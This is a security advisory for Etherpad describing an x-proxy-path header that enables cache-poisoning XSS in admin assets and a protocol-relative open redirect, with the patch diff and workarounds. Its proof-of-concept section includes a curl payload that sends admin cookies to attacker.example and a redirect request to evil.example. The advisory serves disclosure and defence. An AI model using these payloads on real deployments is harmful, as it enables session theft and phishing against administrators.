Etherpad CVE-2026-55087

GHSA-03 - x-proxy-path header reflected into admin HTML/JS/CSS (cache-poisoning XSS) and concatenated into redirect (open-redirect)

Severity: Medium CVSS v3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N CVSS suggested base score: ~6.1 - Medium *(Re-validate in the first.gov calculator before filing. Score depends heavily on whether you assume a cooperative cache exists in front of the deployment - single-origin admin-only ops with no shared cache push toward 4.x; cache-poisoning against a CDN pushes toward 7.x.)* CWE: CWE-79 Improper Neutralization of Input During Web Page Generation, CWE-601 URL Redirection to Untrusted Site, CWE-444 Inconsistent Interpretation of HTTP Requests

Title

x-proxy-path request header is interpolated into admin HTML/JS/CSS without sanitisation (cache-poisoning XSS) and into a /p/:pad/timeslider redirect target (open-redirect via protocol-relative URL)

Description

Etherpad lets operators run behind a reverse proxy that prefixes every route with a subpath (e.g. /pad/etherpad/...). The proxy is expected to set x-proxy-path: /pad/etherpad on every request so that server-rendered links, asset URLs, and redirects know to include the prefix. Two server-side call sites historically processed this header:

Issue 3a - src/node/hooks/express/admin.ts (XSS, cache-poisoning)

The admin static-serving handler read req.header('x-proxy-path') and substituted it into the response body of every .html/.js/.css asset under /admin/* using String.prototype.replaceAll. The value was used raw, with no character filter and no Vary / Cache-Control headers on the response. Consequently:

• An attacker who can issue a request with a chosen x-proxy-path value gets that value reflected into HTML/JS/CSS sent back to them. Reflected XSS on the admin origin (requires victim to be tricked into issuing the request from a context that interprets HTML).
• More seriously, any reverse proxy or CDN in front of Etherpad that caches /admin/index.html keyed on URL alone (the common case - no Vary was set) will cache the poisoned response and serve it to subsequent admins. Cache-poisoning XSS against every admin that loads the same bundle from the same cache.

Issue 3b - src/node/hooks/express/specialpages.ts (open-redirect via protocol-relative URL)

The legacy /p/:pad/timeslider handler (direct visits without ?embed=1) built a redirect target as:

res.redirect(302, `${proxyPath}/p/${encodeURIComponent(req.params.pad)}`);

A local sanitizeProxyPath helper filtered the character class but did NOT prevent values beginning with //. A request carrying x-proxy-path: //evil.example therefore produced a Location: //evil.example/p/<pad> header, which browsers interpret as a protocol-relative URL - equivalent to https://evil.example/p/<pad>. Open redirect, exploitable for phishing.

Both issues require the x-proxy-path header to actually reach Etherpad. In a hardened reverse-proxy deployment the proxy strips/overrides client headers, but Etherpad does not enforce this and self-hosted users with misconfigured proxies (or no proxy at all, where any client sets arbitrary headers) are exposed.

Severity rationale

• AV:N / AC:L / PR:N - the admin path requires no authentication of the attacker. The victim of the XSS must be an authenticated admin who loads a poisoned cached response.
• UI:R - victim must visit/interact with the admin UI.
• S:C - scope changes (attacker context to admin origin).
• C:L / I:L - XSS in the admin context can read/write admin-scoped data; full admin-account takeover requires additional CSRF-style chaining.

CVSS lands at 6.1 (Medium). Operators behind a well-configured proxy that strips client x-proxy-path are not exposed.

Affected versions

• Admin XSS (Issue 3a): ep_etherpad-lite >= 2.1.0, <= 3.0.0. The unsanitised replaceAll("/admin", req.header(PROXY_HEADER) + ...) was present in 63e9b2d "Fixed api header authorization" (#6399), first tagged in v2.1.0 (2024-05-22). All releases through v3.0.0 carry it.
• Open-redirect (Issue 3b): ep_etherpad-lite = 3.0.0. The legacy timeslider redirect that concatenates the proxy path into a Location header was introduced in 451bd9c "scrub history in-place on the pad URL" (#7710) and first shipped in v3.0.0. Pre-v3 releases serve the timeslider directly without a redirect and are not exposed to this specific shape.
• Combined fix-target range covered by the GHSA: >= 2.1.0, <= 3.0.0.

Patched versions

• ep_etherpad-lite >= 3.1.0 - the fix is on develop HEAD as commit 8c6104c. Update this field with the actual tagged release version when it ships.

Proof of concept

XSS / cache poisoning

curl -s 'https://pad.example/admin/index.html' \
  -H 'x-proxy-path: "><script>fetch("https://attacker.example/?c="+document.cookie)</script><i a="'
# If served by a shared cache without Vary on x-proxy-path, subsequent
# requests to /admin/index.html (from any admin) get the same poisoned
# HTML.

Open redirect

curl -i 'https://pad.example/p/foo/timeslider' \
  -H 'x-proxy-path: //evil.example'
# HTTP/1.1 302 Found
# Location: //evil.example/p/foo

A browser followed against the etherpad origin treats //evil.example/p/foo as https://evil.example/p/foo.

Workarounds

• Configure the reverse proxy (nginx, traefik, HAProxy, etc.) to strip or overwrite x-proxy-path from inbound client requests. Most production deployments already do this; the bug only matters in deployments that don't.
• For the timeslider redirect specifically: disable the legacy direct-timeslider URL by client-side routing to /p/:pad (the in-pad PadModeController handles history mode without ever loading the standalone timeslider).

Fix

Patched in 8c6104c (PR #7784):

1. Extracted src/node/utils/sanitizeProxyPath.ts - a single shared helper used by both admin.ts and specialpages.ts. The helper:

• returns "" when the header is absent;
• strips characters outside [A-Za-z0-9_./-];
• collapses a leading //+ to a single / (kills protocol-relative URLs);
• prepends / if the cleaned non-empty value doesn't already have one (so callers can always concatenate as an absolute prefix);
• rejects .. traversal segments.

1. admin.ts now emits Vary: x-proxy-path and Cache-Control: private, no-store on HTML/JS/CSS responses that varied by the header, so downstream caches cannot collapse responses across different header values.

src/node/hooks/express/specialpages.ts - replace the local sanitiser with the shared one:

-const sanitizeProxyPath = (req: any): string => {
-  const raw = req.header('x-proxy-path') || '';
-  return raw.replace(/[^a-zA-Z0-9\-_\/\.]/g, '');
-};
+import {sanitizeProxyPath} from '../../utils/sanitizeProxyPath';

src/node/hooks/express/admin.ts - sanitise the value AND emit cache-key/cache-control headers so a shared cache can't collapse responses across different proxy-path values:

   if (ext === ".html" || ext === ".js" || ext === ".css") {
-    if (req.header(PROXY_HEADER)) {
+    const proxyPath = sanitizeProxyPath(req);
+    if (proxyPath) {
       let string = data.toString()
-      dataToSend = string.replaceAll("/admin", req.header(PROXY_HEADER) + "/admin")
-      dataToSend = dataToSend.replaceAll("/socket.io", req.header(PROXY_HEADER) + "/socket.io")
+      dataToSend = string.replaceAll("/admin", proxyPath + "/admin")
+      dataToSend = dataToSend.replaceAll("/socket.io", proxyPath + "/socket.io")
     }
+    res.setHeader('Vary', 'x-proxy-path');
+    res.setHeader('Cache-Control', 'private, no-store');
   }

Resources

• Patched in: https://github.com/ether/etherpad/pull/7784 (squash commit 8c6104c).
• Admin XSS vulnerable code introduced in: https://github.com/ether/etherpad/commit/63e9b2d (PR #6399), released in v2.1.0.
• Open-redirect vulnerable code introduced in: https://github.com/ether/etherpad/commit/451bd9c (PR #7710), released in v3.0.0.

Credits

Reported during an internal security audit by Claude (via @JohnMcLear).